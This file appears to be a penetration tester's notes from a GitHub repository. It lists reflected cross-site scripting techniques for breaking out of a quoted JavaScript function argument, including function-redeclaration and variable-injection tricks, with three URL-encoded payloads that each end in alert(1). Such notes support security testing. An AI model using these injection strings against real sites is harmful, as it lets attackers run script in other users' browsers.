-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathxss_scenarios
56 lines (36 loc) · 1.29 KB
/
xss_scenarios
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
Exploitable scenarios
~~~~~~~~~~~~~~~~~~~~~
<script>
leo.write('test','reflection_here')
</script>
---------------------------------------------------------------------------------------------
vulnerableFunction('test', 'INJECTION');
param='-alert(1)-'
vulnerableFunction('test', ''-alert(1)-'');
----------------------------------------------------------------------------------------------
----------------------------------------------------------------------------------------------
Function Injection
~~~~~~~~~~~~~~~~~~
vulnerableFunction('test', ''-alert(1)-'');
function vulnerableFunction(a,b){
return 1
};
===> Payload: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
---------------------------------------------------------
vulnerableFunction('test', 'test');
function vulnerableFunction(a,b){
return 1
};
alert(1)
===> Payload: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
-----------------------------------------------------------------------------------------
Variable injection
~~~~~~~~~~~~~~~~~~
function myFunction(a,b){
return 1
};
myFunction(a, 'test');
var a = 1;
alert(1);
Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
-----------------------------------------------------------------------------------------